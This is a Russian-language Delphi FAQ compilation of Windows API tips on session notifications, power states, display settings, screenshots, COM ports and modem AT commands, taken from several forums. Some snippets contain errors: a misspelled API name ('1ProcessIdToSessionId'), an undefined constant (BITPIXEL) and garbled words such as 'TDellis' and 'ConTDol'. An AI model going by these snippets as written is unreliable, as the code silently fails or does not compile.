  TWTSRegisterSessionNotification = function(Wnd: HWND; dwFlags: DWORD): BOOL; stdcall;
var
  hWTSapi32dll: THandle;
  WTSRegisterSessionNotification: TWTSRegisterSessionNotification;
begin
  Result := False;
  hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');
  if (hWTSAPI32DLL > 0) then
  begin
    try @WTSRegisterSessionNotification :=
        GetProcAddress(hWTSAPI32DLL, 'WTSRegisterSessionNotification');
      if Assigned(WTSRegisterSessionNotification) then
      begin
        Result:= WTSRegisterSessionNotification(Wnd, dwFlags);
      end;
    finally
      if hWTSAPI32DLL > 0 then
        FreeLibrary(hWTSAPI32DLL);
    end;
  end;
end;

function UnRegisterSessionNotification(Wnd: HWND): Boolean;
  // The RegisterSessionNotification function unregisters the specified window
  // Parameters:
  // hWnd: Handle to the window
type
  TWTSUnRegisterSessionNotification = function(Wnd: HWND): BOOL; stdcall;
var
  hWTSapi32dll: THandle;
  WTSUnRegisterSessionNotification: TWTSUnRegisterSessionNotification;
begin
  Result := False;
  hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');
  if (hWTSAPI32DLL > 0) then
  begin
    try @WTSUnRegisterSessionNotification :=
        GetProcAddress(hWTSAPI32DLL, 'WTSUnRegisterSessionNotification');
      if Assigned(WTSUnRegisterSessionNotification) then
      begin
        Result:= WTSUnRegisterSessionNotification(Wnd);
      end;
    finally
      if hWTSAPI32DLL > 0 then
        FreeLibrary(hWTSAPI32DLL);
    end;
  end;
end;

function GetCurrentSessionID: Integer;
 // Getting the session id from the current process
type
  TProcessIdToSessionId = function(dwProcessId: DWORD; pSessionId: DWORD): BOOL; stdcall;
var
  ProcessIdToSessionId: TProcessIdToSessionId;
  hWTSapi32dll: THandle;
  Lib : THandle;
  pSessionId : DWord;
begin
  Result := 0;
  Lib := GetModuleHandle('kernel32');
  if Lib <> 0 then
  begin
    ProcessIdToSessionId := GetProcAddress(Lib, '1ProcessIdToSessionId');
    if Assigned(ProcessIdToSessionId) then
    begin
      ProcessIdToSessionId(GetCurrentProcessId(), DWORD(@pSessionId));
      Result:= pSessionId;
    end;
  end;
end;

end.

// Example:

unit Unit1;

interface

uses
  Windows, Messages, {...},  Wtsapi;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
  { Private declarations }
    FRegisteredSessionNotification : Boolean;
    procedure AppMessage(var Msg: TMSG; var HAndled: Boolean);
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.AppMessage(var Msg: TMSG; var Handled: Boolean);
var
  strReason: string;
begin
  Handled := False;
  // Check for WM_WTSSESSION_CHANGE message
  if Msg.Message = WM_WTSSESSION_CHANGE then
  begin
     case Msg.wParam of
       WTS_CONSOLE_CONNECT:
           strReason := 'WTS_CONSOLE_CONNECT';
       WTS_CONSOLE_DISCONNECT:
           strReason := 'WTS_CONSOLE_DISCONNECT';
       WTS_REMOTE_CONNECT:
           strReason := 'WTS_REMOTE_CONNECT';
       WTS_REMOTE_DISCONNECT:
           strReason := 'WTS_REMOTE_DISCONNECT';
       WTS_SESSION_LOGON:
           strReason := 'WTS_SESSION_LOGON';
       WTS_SESSION_LOGOFF:
           strReason := 'WTS_SESSION_LOGOFF';
       WTS_SESSION_LOCK:
           strReason := 'WTS_SESSION_LOCK';
       WTS_SESSION_UNLOCK:
           strReason := 'WTS_SESSION_UNLOCK';
       WTS_SESSION_REMOTE_CONTROL:
           begin
             strReason := 'WTS_SESSION_REMOTE_CONTROL';
             // GetSystemMetrics(SM_REMOTECONTROL);
           end;
      else
        strReason := 'WTS_Unknown';
     end;
   // Write strReason to a Memo
   Memo1.Lines.Add(strReason + ' ' + IntToStr(msg.Lparam));
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // register the window to receive session change notifications.
  FRegisteredSessionNotification := RegisterSessionNotification(Handle, NOTIFY_FOR_THIS_SESSION);
  Application.OnMessage := AppMessage;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  // unregister session change notifications.
 if FRegisteredSessionNotification then
   UnRegisterSessionNotification(Handle);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 // retrieve current session ID
 ShowMessage(Inttostr(GetCurrentSessionID));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как перевести компьютер в Stend-by или Hibernate?

{
  The SetSuspendState function suspends the system by shutting power down.
  Depending on the Hibernate parameter,
  the system either enters a suspend (sleep) state or hibernation.

  Syntax:
}

 function SetSuspendState(
   Hibernate: Boolean,
   ForceCritical: Boolean,
   DisableWakeEvent: Boolean);

{  Parameters:

   Hibernate: If this parameter is TRUE, the system hibernates.
              If the parameter is FALSE, the system is suspended.
   ForceCritical: If this parameter is TRUE, the system suspends operation immediately;
                  if it is FALSE, the system broadcasts a PBT_APMQUERYSUSPEND event to
                  each application to request permission to suspend operation.
   DisableWakeEvent: If this parameter is TRUE, the system disables all wake events.
                     If the parameter is FALSE, any system wake events remain enabled.

  Windows NT/2000/XP: Included in Windows 2000 and later.
  Windows 95/98/Me: Included in Windows 98 and later.
}

var
  _SetSuspendState: function (Hibernate, ForceCritical, DisableWakeEvent: BOOL): BOOL
  stdcall = nil;

  function LinkAPI(const module, functionname: string): Pointer; forward;

function SetSuspendState(Hibernate, ForceCritical,
  DisableWakeEvent: Boolean): Boolean;
begin
  if not Assigned(_SetSuspendState) then
    @_SetSuspendState := LinkAPI('POWRPROF.dll', 'SetSuspendState');
  if Assigned(_SetSuspendState) then
    Result := _SetSuspendState(Hibernate, ForceCritical,
      DisableWakeEvent)
  else
    Result := False;
end;

function LinkAPI(const module, functionname: string): Pointer;
var
  hLib: HMODULE;
begin
  hLib := GetModulehandle(PChar(module));
  if hLib = 0 then
    hLib := LoadLibrary(PChar(module));
  if hLib <> 0 then
    Result := getProcAddress(hLib, PChar(functionname))
  else
    Result := nil;
end;

// Example Call:
// Beispielaufruf:

procedure TForm1.Button1Click(Sender: TObject);
begin
  SetSuspendState(True, False, False);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Поддерживает ли система hibernation?

function HibernateAllowed: Boolean;
type
  TIsPwrHibernateAllowed = function: Boolean;
  stdcall;
var
  hPowrprof: HMODULE;
  IsPwrHibernateAllowed: TIsPwrHibernateAllowed;
begin
  Result := False;
  if IsNT4Or95 then Exit;
  hPowrprof := LoadLibrary('powrprof.dll');
  if hPowrprof <> 0 then
  begin
    try
      @IsPwrHibernateAllowed := GetProcAddress(hPowrprof, 'IsPwrHibernateAllowed');
      if @IsPwrHibernateAllowed <> nil then
      begin
        Result := IsPwrHibernateAllowed;
      end;
    finally
      FreeLibrary(hPowrprof);
    end;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Поддерживает ли система suspend?

function SuspendAllowed: Boolean;
type
  TIsPwrSuspendAllowed = function: Boolean;
  stdcall;
var
  hPowrprof: HMODULE;
  IsPwrSuspendAllowed: TIsPwrSuspendAllowed;
begin
  Result := False;
  hPowrprof := LoadLibrary('powrprof.dll');
  if hPowrprof <> 0 then
  begin
    try
      @IsPwrSuspendAllowed := GetProcAddress(hPowrprof, 'IsPwrSuspendAllowed');
      if @IsPwrSuspendAllowed <> nil then
      begin
        Result := IsPwrSuspendAllowed;
      end;
    finally
      FreeLibrary(hPowrprof);
    end;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


How to check if the Workstation is locked?

function IsWorkstationLocked: Boolean;
var
  hDesktop: HDESK;
begin
  Result := False;
  hDesktop := OpenDesktop('default',
    0, False,
    DESKTOP_SWITCHDESKTOP);
  if hDesktop <> 0 then
  begin
    Result := not SwitchDesktop(hDesktop);
    CloseDesktop(hDesktop);
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Видеокарта, Монитор

Cодержание раздела:

Как узнать разрешение экрана?
Как установить разрешение экрана?
Получаем и устанавливаем различные режимы видео адаптера?
Как отследить изменения дисплея? Updated!
Как определить видеокарту?
Настройка монитора
Как узнать количество цветов в системной палитре?
Скриншот, Принцип получения New!
Как узнать частоту обновления монитора? New!


Как узнать разрешение экрана?

GetSystemMetrics

Автор AntonSaburov
Взято с Vingrad.ru http://forum.vingrad.ru

TScreen.WIdth/Height

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru


Как установить разрешение экрана?

ChangeDisplaySettings

Автор cpu
Взято с Vingrad.ru http://forum.vingrad.ru

function SetFullscreenMode:Boolean;
var DeviceMode : TDevMode;
begin
 with DeviceMode do begin
  dmSize:=SizeOf(DeviceMode);
  dmBitsPerPel:=16;
  dmPelsWidth:=640;
  dmPelsHeight:=480;
  dmFields:=DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
  result:=False;
  if ChangeDisplaySettings(DeviceMode,CDS_TEST or CDS_FULLSCREEN) <> DISP_CHANGE_SUCCESSFUL
   then Exit;
  Result:=ChangeDisplaySettings(DeviceMode,CDS_FULLSCREEN) = DISP_CHANGE_SUCCESSFUL;
 end;
end;

procedure RestoreDefaultMode;
var T : TDevMode absolute 0;
begin
 ChangeDisplaySettings(T,CDS_FULLSCREEN);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 if setFullScreenMode then begin
  sleep(7000);
  RestoreDefaultMode;
 end;
end;

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Получаем и устанавливаем различные режимы видео адаптера?

Перевод одноимённой статьи с сайта delphi.about.com )

Display Device Modes
При разработке Windows приложения, иногда приходится учитывать тот факт, что оно в будущем будет работать на компьютерах с абсолютно разными мониторами и рабочими разрешениями, установленными на видео адаптере. Поэтому не лишне было бы включить в приложение такую возможность как установка различных разрешений видео адаптера.

В данной статье мы рассмотрим принципы работы с API функцией EnumDisplaySettings, которая позволяет получить список доступных разрешений дисплея, а так же с функцией ChangeDisplaySettings для смены текущего видео-режима.

Полечение возможных видео-режимов
Итак, для того, чтобы получить информацию о всех возможных режимах адаптера, нам необходимо сделать серию вызовов функции EnumDisplaySettings. Вызывая эту функцию в цикле мы будем каждый раз получать доступный режим, до тех пор пока результат функции не станет отличным от True.

Данная функция имеет на входе переменную типа TDevMode, в которой помещаются параметры. Сам тип TDevMode имеет множество переменных, относящихся к видео адаптеру. А именно, он включает в себя разрешение видео адаптера в пикселях (dmPelsWidth, dmPelsHeight), разрядность цвета (в битах на пиксель), поддерживаемая при данном разрешении (dmBitsPerPel), частота обновления (dmDisplayFrequency) и другие.

procedure TForm1.FormCreate(Sender: TObject);
var
 i       : Integer;
 DevMode : TDevMode;
begin
 i:=0;
 while EnumDisplaySettings(nil,i,DevMode) do begin
   with Devmode do
    ListBox1.Items.Add
     (Format('%dx%d %d Colors',
     [dmPelsWidth,dmPelsHeight,1 shl dmBitsperPel]));
   Inc(i);
 end;
end;

Установка видео-режима
После того как мы получим все доступные режимы, то установить желательный не составляет особого труда. Для этого мы воспользуемся функцией ChangeDisplaySettings. Так же данная функция при необходимости обновит реестр Windows.

procedure TForm1.Button1Click(Sender: TObject);
var
  DevMode    : TDeviceMode;
  liRetValue : Longint;
begin
 if EnumDisplaySettings
    (nil,Listbox1.ItemIndex,Devmode) then
  liRetValue := ChangeDisplaySettings
                  (DevMode, CDS_UPDATEREGISTRY);

  SendMessage(HWND_BROADCAST,
              WM_DISPLAYCHANGE,
              SPI_SETNONCLIENTMETRICS,
              0);
end;

Функция ChangeDisplaySettings возвращает значение long integer. Это значение можно использовать для определения успешности выполнения функции, сравнив со значениями из списка констант.

Внимание: Не рекомендуется устанавливать значение видео-режима, который не присутствует в списке доступных. Это может привести к мерцанию экрана либо вообще к исчезновению изображения.

Внимание: Многие адаптеры (особенно старые) могут не поддерживать смену разрешения без перезагрузки компьютера.

Внимание: SendMessage используется для того, чтобы информировать все окна о смене видео-режима.

Отслеживание изменений дисплея
Для отслеживания изменений необходимо создать обработчик для перехвата сообщения WM_DISPLAYCHANGE. Обычно данный приём используется в случае, если приложения использует в своей работе графику, и его необходимо перезагрузить для смены разрешения, разрядности цвета и т.д.

...
type
  TForm1 = class(TForm)
  ListBox1: TListBox;
    ...
  private
    procedure WMDisplayChange(var Message:TMessage);
      message WM_DISPLAYCHANGE;
...
procedure
  TForm1.WMDisplayChange(var Message: TMessage);
begin
  ShowMessage('Changes in display detected!');
  inherited;
end;
Взято из http://forum.sources.ru


Как отследить изменения дисплея?

Для этого необходимо создать обработчик для перехвата сообщения WM_DISPLAYCHANGE. Применяется это в тех случаях, если Ваше приложение зависит от разрешения экрана (например, приложение работает с графикой).

Дале следует пример обработчика сообщения:

type
TForm1 = class(TForm)
  Button1: TButton;
private
  procedure WMDisplayChange(var Message: TMessage); message WM_DISPLAYCHANGE;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMDisplayChange(var Message: TMessage);
begin
  {Do Something here}
  inherited;
end;

Взято из http://forum.sources.ru

Эта программа отслеживает изменение характеристик экрана.

...
private
  procedure WMDISPLAYCHANGE(var Msg: TWMDISPLAYCHANGE);
    message WM_DISPLAYCHANGE;
...
procedure TForm1.FormCreate(Sender: TObject);
var
  bp: integer;
begin
  bp := GetDeviceCaps(GetDC(0), BITSPIXEL);
  Form1.Caption := 'Бит на точку - ' + IntToStr(bp) +
    ' (' + FloatToStr(IntPower(2, bp)) +
    ' цветов). Разрешение ';
  Form1.Caption := Form1.Caption +

    IntToStr(GetDeviceCaps(GetDC(0), HORZRES)) + 'X';
  Form1.Caption := Form1.Caption +
    IntToStr(GetDeviceCaps(GetDC(0), VERTRES)) + ' ';
end;

procedure TForm1.WMDISPLAYCHANGE(var Msg: TWMDISPLAYCHANGE);
var
  bp: integer;
begin
  bp := Msg.BitsPerPixel;
  Form1.Caption := 'Бит на точку - ' + IntToStr(bp) +
    ' (' + FloatToStr(IntPower(2, bp)) +
    ' цветов). Разрешение ';
  Form1.Caption := Form1.Caption + IntToStr(Msg.Width) + 'X';

  Form1.Caption := Form1.Caption + IntToStr(Msg.Height) + ' ';
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как определить видеокарту?

procedure TForm1.button1click(Sender: TObject);
var
  lpDisplayDevice: TDisplayDevice;
  dwFlags: DWORD;
  cc: DWORD;
begin
form2.memo1.Clear;
lpDisplayDevice.cb := sizeof(lpDisplayDevice);
dwFlags := 0;
cc:= 0;
while EnumDisplayDevices(nil, cc, lpDisplayDevice , dwFlags) do
  begin
    Inc(cc);
    form2.memo1.lines.add(lpDisplayDevice.DeviceString);
        {Так же мы увидим дополнительную информацию в lpDisplayDevice}
    form2.show;
  end;
end;

Взято из http://forum.sources.ru


Настройка монитора

Иногда требуется, чтобы программа работала при чётко заданных параметрах монитора: разрешение, глубина цвета, частота обновления… Определить текущее разрешение просто, достаточно обратиться к объекту TScreen и посмотреть значения его полей Width и Height. А вот чтобы установить свои значения требуется обратиться к функции Api: ChangeDisplaySettings. Если мы хотим вернуть текущие настройки по завершении работы программы, то перед вызовом изменений надо запомнить эти настройки например таким образом:

uses ShellApi;
var
  DefWidth, DefHeight, BPP: word;
...

procedure SaveSettings;
var
  DC: hDC;
begin
  DefWidth := Screen.Width;
  DefHeight := Screen.Height;
  DC := CreateDC('DISPLAY', nil, nil, nil);
  BPP := GetDeviceCaps(DC, BITSPIXEL);
end;

После этого можно устанавливать свои параметры. Для упрощения собственной жизни я написал небольшую процедуру, которой надо только передать желаемые параметры и она их либо установит, либо сообщит о невозможности их установки.

procedure SetScreen(BPP:byte;width,height,FR:integer);
var
  D: TDevMode;
  h: HWND;
begin
  h:=0;
  D.dmDeviceName:='DISPLAY';
  D.dmBitsPerPel:=BPP;
  D.dmDisplayFrequency:=FR;
  D.dmPelsWidth:=Width;
  D.dmPelsHeight:=Height;
  D.dmFields:=DM_BITSPERPEL+DM_PELSWIDTH+DM_PELSHEIGHT+DM_DISPLAYFREQUENCY;
  D.dmSize:=SizeOf(D);
  if ChangeDisplaySettings(D,CDS_TEST)=DISP_CHANGE_SUCCESSFUL then
    ChangeDisplaySettings(D,CDS_UPDATEREGISTRY)
  else
    MessageBox(h,'This mode is not supported by your video.',
    'Failed to change mode', MB_ICONWarning);
end;

Вызывается так: SetScreen(глубина цвета, разрешение по горизонтали, разрешение по вертикали, частота в герцах); Например:

SetScreen(16,800,600,80); {16 бит цвет, 800х600, 80Гц.}

При завершении программы для восстановления старых параметров вызываем эту процедуру с сохранёнными ранее значениями:

SetScreen(BPP,DefWidth,DefHeight,80);

Я не стал здесь беспокоиться о сохранении/возвращении частоты обновления, а сразу установил 80Гц, но если кто желает, может сохранить и этот параметр при запуске

DefFR:=GetDeviceCaps(DC, VREFRESH);

и восстановить при закрытии программы:

SetScreen(BPP,DefWidth,DefHeight,DefFR);

Пример применения этой возможности можно посмотреть в моей программе SDisplay, которая вешается в трей и позволяет быстро изменить параметры экрана.

Взято с http://delphiworld.narod.ru


Как узнать количество цветов в системной палитре?

function GetNumColors: LongInt;
var
  BPP: Integer;
  DC: HDC;
begin
  DC := CreateDC('DISPLAY', nil, nil, nil);
  if DC <> 0 then
    begin
      try
        BPP := GetDeviceCaps(DC, BITPIXEL) * GetDeviceCaps(DC, PLANES);
      finally
        DeleteDC(DC);
      end;
      case BPP of
        1: Result := 2;
        4: Result := 16;
        8: Result := 256;
        15: Result := 32768;
        16: Result := 65536;
        24: Result := 16777216;
      end;
    end
  else
    Result := 0;
end;


Как получить screen shot экран вместе с указателем мыша?

надо его вручную дорисовать

procedure GetScreenImage(bmp: TBitmap);
var
  CI: TCursorInfo;
  Icon: TIcon;
  II: TIconInfo;
  r: TRect;
begin
bmp.Width:= Screen.Width;
bmp.Height:= Screen.Height;
BitBlt(bmp.Canvas.Handle,0,0,Screen.Width,Screen.Height,
GetDC(GetDesktopWindow),0,0,SRCCopy);
//дорисуем курсор
Icon:=TIcon.Create;
r:=Rect(0,0,GetSystemMetrics(SM_CXSCREEN),GetSystemMetrics(SM_CYSCREEN));
CI.cbSize:=SizeOf(CI);
if (GetCursorInfo(CI)) and (CI.flags=CURSOR_SHOWING) then
 begin
  Icon.Handle:=CopyIcon(CI.hCursor);
  if GetIconInfo(Icon.Handle,II) then
  bmp.Canvas.Draw(ci.ptScreenPos.x - Integer(II.xHotspot) - r.Left, ci.ptScreenPos.y - Integer(II.yHotspot) - r.Top, Icon);
 end;
end;

Автор P.O.D
Взято из http://forum.sources.ru


Скриншот, Принцип получения

// В качестве параметров передаются:
// AHandle - хэндл окна, скриншот которого мы хочем получить
// CompressPercent - процент сжатия картинки
// AImage - картинка, в которую будет помещено изображение
// в случае успешного скриншота функция вернет True
function GetScreenShot(const AHandle: THandle; const CompressPercent: Byte;
  var AImage: TJPEGImage): Boolean;
var
  fBitmap: TBitmap;
  DC: HDC;
  Rect: TRect;
begin
  Result := False;
  if AImage = nil then Exit;
  DC := GetDC(AHandle);
  if DC <> 0 then
  try
    fBitmap := TBitmap.Create;
    try
      if not GetClientRect(AHandle, Rect) then Exit;
      fBitmap.Width := Rect.Right - Rect.Left;
      fBitmap.Height := Rect.Bottom - Rect.Top;
      fBitmap.PixelFormat := pf32bit;
      Result := BitBlt(fBitmap.Canvas.Handle, 0, 0, fBitmap.Width,
        fBitmap.Height, DC, 0, 0, SRCCOPY);
      if not Result then Exit;
      AImage.Assign(fBitmap);
      AImage.CompressionQuality := CompressPercent;
    finally
      fBitmap.Free;
    end;
  finally
    ReleaseDC(AHandle, DC);
  end;
end;

// Пример использования...
procedure TForm1.Button1Click(Sender: TObject);
var
  Image: TJPEGImage;
begin
  // Скриншот рабочего стола
  Image := TJPEGImage.Create;
  try
    if GetScreenShot(GetDesktopWindow, 150, Image) then
      Image1.Picture.Assign(Image);
  finally
    Image.Free;
  end;
  // Скриншот нашей формы
  Image := TJPEGImage.Create;
  try
    if GetScreenShot(Handle, 150, Image) then
      Image2.Picture.Assign(Image);
  finally
    Image.Free;
  end;
end;

Автор Rouse_
Взято из http://forum.sources.ru


Как узнать частоту обновления монитора?

function GetDisplayFrequency: Integer;
var
 DeviceMode: TDeviceMode;

begin
 EnumDisplaySettings(nil, Cardinal(-1), DeviceMode);
 Result := DeviceMode.dmDisplayFrequency;
end;
Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Модем

Cодержание раздела:

Как прочитать байт из параллельного порта?
Как прочитать из модема?
Функция набора номера модемом
Как получить список установленных модемов в Win95/98?
Using Tapi
АТ команды модема
S-регистры модема
Набор dialup соединения по умолчанию


Как узнать состояние модема в Win32?

Следующий пример демонстрирует получение состояния управляющих регистров модема.

Пример:

procedure TForm1.Button1Click(Sender: TObject);
var
  CommPort : string;
  hCommFile : THandle;
  ModemStat : DWord;
begin
  CommPort := 'COM2';

{Открываем com-порт}
  hCommFile := CreateFile(PChar(CommPort),
                          GENERIC_READ,
                          0,
                          nil,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          0);
  if hCommFile = INVALID_HANDLE_VALUE then
  begin
    ShowMessage('Unable to open '+ CommPort);
    exit;
  end;

{Получаем состояние модема}
  if GetCommModemStatus(hCommFile, ModemStat) <> false then begin
    if ModemStat and MS_CTS_ON <> 0 then
      ShowMessage('The CTS (clear-to-send) is on.');
    if ModemStat and MS_DSR_ON <> 0 then
      ShowMessage('The DSR (data-set-ready) is on.');
    if ModemStat and MS_RING_ON <> 0then
      ShowMessage('The ring indicator is on.');
    if ModemStat and MS_RLSD_ON <> 0 then
      ShowMessage('The RLSD (receive-line-signal-detect) is
on.');
end;

{Закрываем com-порт}
  CloseHandle(hCommFile);
end;
Взято из http://forum.sources.ru


Как прочитать из модема?

После предварительной настройки переменных, COM порт открывается как обычный файл. Так же пример показывает, как очищать буфер COM порта и читать из него.

Var
PortSpec : array[0..255] of char;
PortNo   : Word;
success : Boolean;
error:integer;
begin
FillChar(PortSpec,Sizeof(PortSpec),#0);
StrPCopy(PortSpec,'Com1:19200,n,8,1');
PortSpec[3]:=Char(Ord(PortSpec[3])+Ord(PortNo));

if not BuildCommDCB(PortSpec,Mode) Then
  Begin
//какая-то ошибка...
  Exit;
  End;

PortSpec[5]:=#0;    { 'Com1:' }

Mode.Flags:=EV_RXCHAR +   EV_EVENT2;  { $1001 }

  Com := CreateFile(PortSpec,GENERIC_READ or GENERIC_WRITE,
                    0,    //* comm устройство открывается с эксклюзивным доступом*/
                    Nil, //* нет security битов */
                    OPEN_EXISTING, //* comm устройства должны использовать OPEN_EXISTING*/
                    0,    //* not overlapped I/O */
                    0  //* hTemplate должен быть NULL для comm устройств */
                     );
  if Com = INVALID_HANDLE_VALUE then Error := GetLastError;
  Success := GetCommState(Com,Mode);

  if not Success then  // Обработчик ошибки.
  begin

  end;

  Mode.BaudRate := 19200;
  Mode.ByteSize := 8;
  Mode.Parity := NOPARITY;
  Mode.StopBits := ONESTOPBIT;//нужен был для перезаписи в NT

  Success := SetCommState(Com, Mode);

  if not Success then  // Обработчик ошибки.
  begin

  end;
end;

Переменная "com" типа dword.

Вы так же можете очистить буффер COM порта
PurgeComm(Com,PURGE_RXCLEAR or PURGE_TXCLEAR);
И прочитать из него

Function ReadCh(Var Ch:Byte):dword;
var
n : dword;
Begin
  Readfile(Com,ch,1,result,nil);
End;

Взято из http://forum.sources.ru


Функция набора номера модемом

var
hCommFile : THandle;

procedure TForm1.Button1Click(Sender: TObject);
var
PhoneNumber : string;
CommPort : string;
NumberWritten : LongInt;
begin
PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10;
CommPort := 'COM2';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile=INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
NumberWritten:=0;
if WriteFile(hCommFile,
PChar(PhoneNumber)^,
Length(PhoneNumber),
NumberWritten,
nil) = false then
begin
     ShowMessage('Unable to write to ' + CommPort);
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
{Close the port}
CloseHandle(hCommFile);
end;

У кого с головой хорошо я добавлю вам эту информацию.

AT-команды модема

A Команда ответа (Answer Command)
Bn Настройка связи (Communications Options)
D Команда набора (Dial Command)
En Команда выбора символа эха (Select Command Character Echo
Option)
Hn Управление Switchhook - эмуляция нажатия телефонного рычага
(Control The Switchhook)
I0 Идентификация кода продукта (Identify The Product Code)
I2 Выполнение теста контрольной суммы ROM ( Perform ROM Checksum
Test)
Ln Выбор уровня громкости динамика (Select Speaker Volume Level)
Mn Функция выбора опций динамика (Select Speaker Function Option)
Nn Выбор опций для установления связи (Select Negotiate Handshake
Option)
On Переход к онлайновым командам (Go Online Command)
P Выбор метода пульсового набора (Select Pulse Dialing Method)
Qn Выбор опции результирующего кода (Select Result Code Option)
Sn= Запись в S-регистр (Write To An S-Register)
Sn? Чтение S-регистра (Read An S-Register)
T Выбор метода тонового набора (Select Tone Dialing Method)
Vn Выбор опции формата ответа (Select Response Format Option)
Wn Выбор расширенного результирующего кода (Select Extended Result
Code)
Xn Выбор опции модемного вызова (Select Call Progress Option)
Yn Выбор опции бездействия для разъединения (Select Long Space
Disconnect Option)
Zn Выполнение мягкого сброса (Perform Soft Reset)
&An Выбор роли автоответчика (Select Originate/Answer Role For
Autoanswer)
&Cn Выбор опции определения передаваемых данных (Select Data
Carrier Detect Option)
&Dn Выбор опции готовности терминала данных (Select Data Terminal
Ready Option)
&F Загрузка заводских установок (Load Factory Default Profile)
&Gn Выбор опции защиты тонового набора (Select Guard Tone Option)
&Kn Выбор опций потока ConTDol (Select Flow ConTDol Option)
&Pn Выбор параметров пульсового набора (Select Pulse Dialing
Parameters)
&Qn Выбор опций режима связи (Select Communications Mode Option)
&Rn Выбор опций RTS/CTS (Select RTS/CTS Option)
&Sn Выбор опций готовности передачи данных (Select Data Set Ready
Option)
&T0 Тест завершения в процессе (Terminate Test In Process)
&T1 Инициирование локального аналога сетевой петли (Initiate Local
Analog Loopback)
&T3 Выполнение локальной цифровой сетевой петли (Perform Local
Digital Loopback)
&T4 Включение предоставления RDL-запросов (Enable Granting Of RDL
Requests)
&T5 Запрет предоставления RDL-запросов (Deny Granting Of RDL
Requests)
&T6 Инициирование удаленной цифровой сетевой петли (Initiate
Remote Digital Loopback)
&T7 Иниицирование внутреннего теста RDL (Initiate RDL With Self
Test)
&T8 Внутренний тест локальной сетевой петли (Local Loopback With
Self Test)
&T19 Выполнение теста RTS/CTS кабеля (Perform RTS/CTS Cable Test)
&Un Отмена TDellis кодирования (Disable TDellis Coding)
&V Просмотр профилей конфигурации (View Configuration Profiles)
&Wn Сохранение активного профиля (Store Active Profile)
&Xn Выбор источника синхронизации времени TDansmit (Store Active
Profile)
&Yn Выбор сохранения профиля для аппаратного перезапуска (Select
Stored Profile For Hard Reset)
&Zn= Сохранение телефонного номера (Store Telephone Number)
, Пауза (Perform Pause)
= Запись в S-регистр (Write To An S-Register)
? Чтение S-регистра (Read An S-Register)
P Выбор пульсового набора (Select Pulse Dialing)
Т Тоновый набор (Tone)

S-регистры модема

Регистр

Описание

S0 Звонок, на который необходимо ответить (Ring After Which To
Answer)
S1 Количество звонков (Ring Count)
S2 Символ отмены (Hayes Escape Character)
S3 Символ перевода строки (Carriage Return Character)
S4 Символ пропуска строки (Line Feed Character)
S5 Символ пробела (Backspace Character)
S6 Ожидание перед вызывом (Wait Before Blind Dialing)
S7 Ожидание ответа (Wait For Carrier)
S8 Время паузы для запятой (Pause Time For Comma)
S9 Время восстановления (Carrier Recovery Time)
S10 Время задержки для поднятия трубки после потери соединения
(Lost Carrier Hang Up Delay)
S11 Время DTMF соединения (DTMF Dialing Speed)
S12 Время защиты отмены (Hayes Escape Guard Time)
S16 Выполнение теста (Test in Progress)
S18 Тест таймера модема (Modem Test Timer)
S19 Настройки автосинхронизации (AutoSync Options)
S25 Обнаружено изменение DTD (Detect DTD Change)
S26 Интервал задержки RTS для CTS (RTS To CTS Delay Interval)
S30 Неактивное время ожидания (Inactivity Timeout)
S31 Символ XON (XON Character)
S32 Символ XOFF (XON Character)
S36 Ошибка согласования TDeatment (Negotiation Failure TDeatment)
S37 Ускорение DCE линии (Desired DCE Line Speed)
S38 Время ожидания снятия трубки (Hang-up Timeout)
S43 Текущая скорость линии (Current Line Speed)
S44 Техническая конструкция (Framing Technique)
S46 Выбор протокола/компрессии (Protocol/Compression Selection)
S48 Действие характеристики согласования (Feature Negotiation
Action)
S49 Низкий предел буфера (Buffer Low Limit)
S50 Высокий предел буфера (Buffer High Limit)
S70 Максимальное число ReTDansmissions (Maximum Number of
ReTDansmissions)
S73 Неактивное время ожидания (No Activity Timeout)
S82 Выбор прерывания (Break Selection)
S86 Код причины неудачной связи (Connection Failure Cause Code)
S91 Выбор уровня TDansmit коммутируемой линии (Select Dial-up Line
TDansmit Level)
S95 Расширенный результат кода битовой карты (Extended Result Code
Bit Map)

S108 Селектор качества сигнала (Signal Quality Selector)
S109 Селектор скорости соединения (Carrier Speed Selector)
S110 Селектор V.32/V.32 bis (V.32/V.32 bis Selector)
S113 Тональный вызов ConTDol (Calling Tone ConTDol)
S121 Использование DTD (Use of DTD)
S141 Таймер фазы обнаружения (Detection Phase Timer)
S142 Онлайновый формат символов (Online Character Format)
S144 Выбор скорости автобода (Autobaud Speed Group Selection)

Взято с сайта http://blackman.wp-club.net/


Как получить список установленных модемов в Win95/98?

unit PortInfo;

interface

uses Windows, SysUtils, Classes, Registry;

function EnumModems: TStrings;

implementation

function EnumModems: TStrings;

var

  R: TRegistry;
  s: ShortString;
  N: TStringList;
